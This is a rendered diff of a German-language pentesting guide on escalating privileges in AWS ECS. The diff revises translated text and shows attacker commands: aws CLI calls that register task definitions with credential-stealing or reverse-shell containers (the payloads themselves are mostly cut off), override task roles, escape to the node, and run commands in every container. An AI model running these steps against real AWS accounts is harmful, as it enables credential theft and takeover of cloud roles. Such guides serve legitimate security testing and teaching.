Sieh dir diesen interessanten Artikel über die Top 10 CI/CD Risiken laut Cider an: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Für jede Plattform, die du lokal ausführen kannst, findest du Anleitungen, wie du sie lokal startest, damit du sie nach Belieben konfigurieren und testen kannst.
|
||||
- Auf jeder Plattform, die du lokal ausführen kannst, findest du Anleitungen, wie du sie lokal startest, damit du sie nach Belieben konfigurieren und testen kannst.
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Mehr **Informationen über ECS** in:
|
||||
Mehr **Infos zu ECS** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Mehr **Informationen über ECS** in:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS ausnutzt, kann **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**.
|
||||
Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Task-Definition erstellen**, die einen **bösartigen Container** enthält, der die metadata credentials stiehlt, und **diesen starten**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Erstelle einen webhook auf einer Seite wie webhook.site
|
||||
Erstelle einen webhook mit einer Seite wie webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -78,16 +78,16 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
**Potential Impact:** Direkter privesc zu einer anderen ECS-Rolle.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Ein Angreifer, der die Berechtigungen `iam:PassRole` und `ecs:RunTask` besitzt, kann eine neue ECS-Task starten, bei der die **execution role**, **task role** und die **command**-Werte des Containers geändert werden. Der CLI-Befehl `ecs run-task` enthält die Option `--overrides`, die es ermöglicht, zur Laufzeit `executionRoleArn`, `taskRoleArn` und das Container-`command` zu ändern, ohne die Task-Definition anzupassen.
|
||||
Ein Angreifer, der über die Berechtigungen `iam:PassRole` und `ecs:RunTask` verfügt, kann einen neuen ECS-Task starten und dabei die Werte der **execution role**, **task role** und des Container-**command** ändern. Das CLI-Kommando `ecs run-task` enthält das Flag `--overrides`, mit dem zur Laufzeit die Werte `executionRoleArn`, `taskRoleArn` und das Container-`command` geändert werden können, ohne die Task-Definition zu verändern.
|
||||
|
||||
Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy so konfiguriert sein, dass `ecs-tasks.amazonaws.com` sie übernehmen darf.
|
||||
Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy zulassen, dass sie von `ecs-tasks.amazonaws.com` übernommen werden.
|
||||
|
||||
Außerdem muss der Angreifer wissen:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Wenn keine Security group angegeben ist, wird die Standard-Security group verwendet)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
- ECS-Cluster-Name
|
||||
- VPC-Subnetz
|
||||
- Security Group (falls keine Security Group angegeben ist, wird die Standardgruppe verwendet)
|
||||
- Name und Revision der Task Definition
|
||||
- Name des Containers
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Im obigen Codeausschnitt überschreibt ein Angreifer nur den Wert `taskRoleArn`. Der Angreifer muss jedoch die Berechtigung `iam:PassRole` für die in dem Befehl angegebene `taskRoleArn` und für die in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff ausgeführt werden kann.
|
||||
Im obigen Code-Snippet überschreibt ein Angreifer nur den Wert `taskRoleArn`. Der Angreifer muss jedoch die Berechtigung `iam:PassRole` für das in dem Befehl angegebene `taskRoleArn` und für das in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff stattfinden kann.
|
||||
|
||||
Wenn die IAM-Rolle, die der Angreifer übergeben darf, ausreichende Berechtigungen hat, um ein Image aus ECR zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
|
||||
Wenn die IAM-Rolle, die der Angreifer übergeben kann, genügend Berechtigungen hat, ein ECR-Image zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** Direkter privesc auf jede ECS-Task-Rolle.
|
||||
**Potential Impact:** Direkter privesc auf jede ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Ähnlich wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** Berechtigungen in ECS missbraucht, eine **neue Task-Definition** mit einem **bösartigen Container** erzeugen, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**.\
|
||||
Allerdings wird in diesem Fall eine Container-Instance benötigt, um die bösartige Task-Definition auszuführen.
|
||||
Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**-Berechtigungen in ECS missbraucht, eine **neue Task-Definition** mit einem **bösartigen Container** erzeugen, der die Metadaten-Anmeldeinformationen stiehlt und sie **ausführt**.\
|
||||
Allerdings muss in diesem Fall eine container instance vorhanden sein, um die bösartige Task-Definition auszuführen.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,12 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Mögliche Auswirkungen:** Direkter privesc auf jede ECS-Rolle.
|
||||
**Potential Impact:** Direkter privesc auf jede ECS-Rolle.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** Berechtigungen in ECS missbraucht, **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task ausführt.**
|
||||
Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** Berechtigungen in ECS missbraucht, **eine neue Task-Definition erzeugen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task ausführt.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -170,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potential Impact:** Direkter privesc zu jeder ECS role.
|
||||
**Mögliche Auswirkung:** Direkter privesc auf jede ECS-Rolle.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Tatsächlich ist es bereits mit diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem container mit einer beliebigen role auszuführen, z. B. mit:
|
||||
Tatsächlich ist es mit genau diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, etwa so:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Mögliche Auswirkungen:** Direkter privesc zu jeder ECS-Rolle.
|
||||
**Potential Impact:** Direkter privesc auf jede ECS-Rolle.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`**-Berechtigung.\
|
||||
Das ist weiterhin interessant, denn wenn Sie einen beliebigen container ausführen können, selbst ohne Rolle, könnten Sie einen **privileged container ausführen, um auf den node zu entkommen** und die **EC2 IAM role** sowie die **anderen ECS containers roles**, die auf dem node laufen, **stehlen**.\
|
||||
Sie könnten sogar **andere Tasks dazu zwingen, innerhalb der EC2 instance zu laufen**, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) beschrieben).
|
||||
Dieses Szenario ist wie die vorherigen, jedoch **ohne** die **`iam:PassRole`**-Berechtigung.\
|
||||
Das ist trotzdem interessant, denn wenn du einen beliebigen Container starten kannst, selbst ohne Rolle, könntest du einen privilegierten Container ausführen, um auf den Knoten zu entkommen und die EC2 IAM-Rolle sowie die Rollen der anderen ECS-Container, die auf dem Knoten laufen, zu stehlen.\
|
||||
Du könntest sogar andere Tasks dazu zwingen, innerhalb der kompromittierten EC2-Instanz zu laufen, um ihre Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) besprochen).
|
||||
|
||||
> [!WARNING]
|
||||
> Dieser Angriff ist nur möglich, wenn der **ECS cluster EC2** instances verwendet und nicht Fargate.
|
||||
> Dieser Angriff ist nur möglich, wenn der **ECS-Cluster EC2-Instanzen verwendet** und nicht Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -234,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ein attacker mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **execute commands** inside a running container und die daran angehängte IAM role exfiltrate (du brauchst die describe permissions, weil es notwendig ist, `aws ecs execute-command` auszuführen).\\
|
||||
Um das jedoch zu tun, muss die container instance den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
|
||||
Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die daran angehängte IAM-Rolle exfiltrieren (du brauchst die describe-Berechtigungen, weil sie notwendig sind, um `aws ecs execute-command` auszuführen).\
|
||||
Allerdings muss die Container-Instanz dafür den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
|
||||
|
||||
Daher könnte der attacker versuchen:
|
||||
Daher könnte der Angreifer versuchen:
|
||||
|
||||
- **Try to run a command** in every running container
|
||||
- **Versuchen, in jedem laufenden Container einen Befehl auszuführen**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Wenn er **`ecs:RunTask`** hat, führe eine Task mit `aws ecs run-task --enable-execute-command [...]` aus
|
||||
- Wenn er **`ecs:StartTask`** hat, starte eine Task mit `aws ecs start-task --enable-execute-command [...]`
|
||||
- Wenn er **`ecs:RunTask`** hat, führe eine Task aus mit `aws ecs run-task --enable-execute-command [...]`
|
||||
- Wenn er **`ecs:StartTask`** hat, führe eine Task aus mit `aws ecs start-task --enable-execute-command [...]`
|
||||
- Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]`
|
||||
- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Du findest **Beispiele für diese Optionen** in **vorherigen ECS privesc-Abschnitten**.
|
||||
Beispiele für diese Optionen findest du in **previous ECS privesc sections**.
|
||||
|
||||
**Potentielle Auswirkung:** Privesc zu einer anderen Rolle, die den Containern zugewiesen ist.
|
||||
**Mögliche Auswirkungen:** Privesc zu einer anderen Rolle, die an Container angehängt ist.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Siehe in der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**:
|
||||
Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um privesc auf ECS zu erreichen:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -276,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Siehe in der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**:
|
||||
Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um privesc auf ECS zu erreichen:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -284,7 +283,7 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte möglicherweise eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
|
||||
|
||||
- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden??
|
||||
|
||||
@@ -293,7 +292,7 @@ Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in e
|
||||
> [!NOTE]
|
||||
> TODO: Testen
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Service ausführen**.
|
||||
Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges task set für einen bestehenden ECS-Service erstellen und das primäre task set aktualisieren**. Dies ermöglicht dem Angreifer, **beliebigen Code innerhalb des Service auszuführen**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Mögliche Auswirkungen**: Beliebigen code im betroffenen Service ausführen, wodurch dessen Funktionalität beeinträchtigt werden kann oder exfiltrating sensitive data ermöglicht wird.
|
||||
**Potenzielle Auswirkungen**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
Reference in New Issue
Block a user